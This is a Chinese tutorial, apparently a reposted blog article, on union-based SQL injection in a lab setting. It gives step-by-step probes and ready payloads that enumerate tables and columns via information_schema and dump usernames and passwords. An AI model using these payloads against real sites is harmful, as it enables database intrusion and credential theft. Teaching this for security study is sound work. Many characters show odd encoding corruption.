簡單聊聊SQL注入的原理以及一般步驟
原理
SQL注入是一種攻擊方式,在這種攻擊方式中,惡意代碼被插入到字符串中,然后該字符串傳遞到SQL Server的實例以進(jìn)行分析和執(zhí)行。任何構(gòu)成SQL語句的過程都應(yīng)進(jìn)行注入檢查,因為SQL Server將執(zhí)行其接收到的所有語法有效的查詢。
(摘自微軟 SQL注入,但要注意的是,SQL注入并不限于SQL Server,幾乎任何數(shù)據(jù)庫引擎都存在這個問題)
一般利用步驟
1.判斷注入點(diǎn)
判斷注入點(diǎn)有方面的含義,一是找到可能存在注入的位置,二十判斷該處能否進(jìn)行注入。在靶場環(huán)境下,我們已經(jīng)知道,GET的參數(shù)id是與數(shù)據(jù)庫進(jìn)行交互的點(diǎn),接下來判斷能夠進(jìn)行注入。
id為1,成功查詢,回顯正常

id為1',數(shù)據(jù)庫報錯,由報錯信息猜測閉合方式為單引號

id為1' --+,成功查詢,回顯正常,印證猜測,

id分別為1' and 1=1 --+和1' and 1=2--+,通過回顯情況,進(jìn)一步判斷能否注入


1=1為永真,當(dāng)1成功查詢,若1=1也成功查詢,則頁面返回正常,1=2為永假,因此若1=2得到執(zhí)行,則頁面必返回不正常。通過對比二者返回結(jié)果,可知改點(diǎn)能否進(jìn)行注入。
2.判斷查詢字段數(shù)
為了將我們想要的結(jié)果能夠顯示在頁面上,我們需要用到聯(lián)合查詢,聯(lián)合查詢的條件之一是必須保證前后查詢語句的字段數(shù)相等,因此,我們需要判斷查詢的字段數(shù)。
一般采用order by或union select如下:


order by 大于3的數(shù)時頁面返回不正常,小于等于3時返回正常,得知原查詢語句的字段數(shù)為3。或

當(dāng)我們聯(lián)合查詢4列時,得到了查詢語句由不同的列的錯誤,查詢3列時:

成功查詢,得原查詢語句只有三列。
3.查數(shù)據(jù)庫名、版本號、用戶名等信息
union聯(lián)合查詢的規(guī)則是當(dāng)前一個查詢失敗時執(zhí)行第二個查詢,前面我們知道了查詢有三個字段,接下來將傳入id為0,判斷是三個字段的回顯位置。

再由數(shù)據(jù)庫內(nèi)置的version()、database()、user()查詢出版本號、數(shù)據(jù)庫當(dāng)前名和當(dāng)前用戶。

4.查詢表名
前面我們查詢得知,當(dāng)前數(shù)據(jù)庫版本為5.5.53,在MySQL5.5后版本都內(nèi)置了數(shù)據(jù)庫information_schema。它存儲了數(shù)據(jù)庫中所有的表名、字段名等信息。從而可以構(gòu)造查詢語句,獲取表名。
payload:?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

這里的group_concat()為SQL語句內(nèi)置的聚合函數(shù),用來將查詢的結(jié)果作為一個字符串輸出。
(使用payload:?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+)
5.查詢字段名
知道了所有的表名,接下來選擇一個表,查詢其中所有的字段名。
payload:?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

6.查詢記錄內(nèi)容
有了表名和字段名,便可以爆出數(shù)據(jù)庫中的記錄了。
payload:?id=0' union select 1,group_concat(username),group_concat(password) from users --+

以上是一般SQL注入的流程,當(dāng)然還有一些像報錯注入,請求頭注入、select into outfile 寫入一句話木馬等姿勢未介紹。后續(xù)學(xué)習(xí)過程中再逐漸補(bǔ)充。
總結(jié)
到此這篇關(guān)于SQL注入的原理以及一般步驟的文章就介紹到這了,更多相關(guān)SQL注入的原理及步驟內(nèi)容請搜索本站以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持本站!
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
關(guān)注官方微信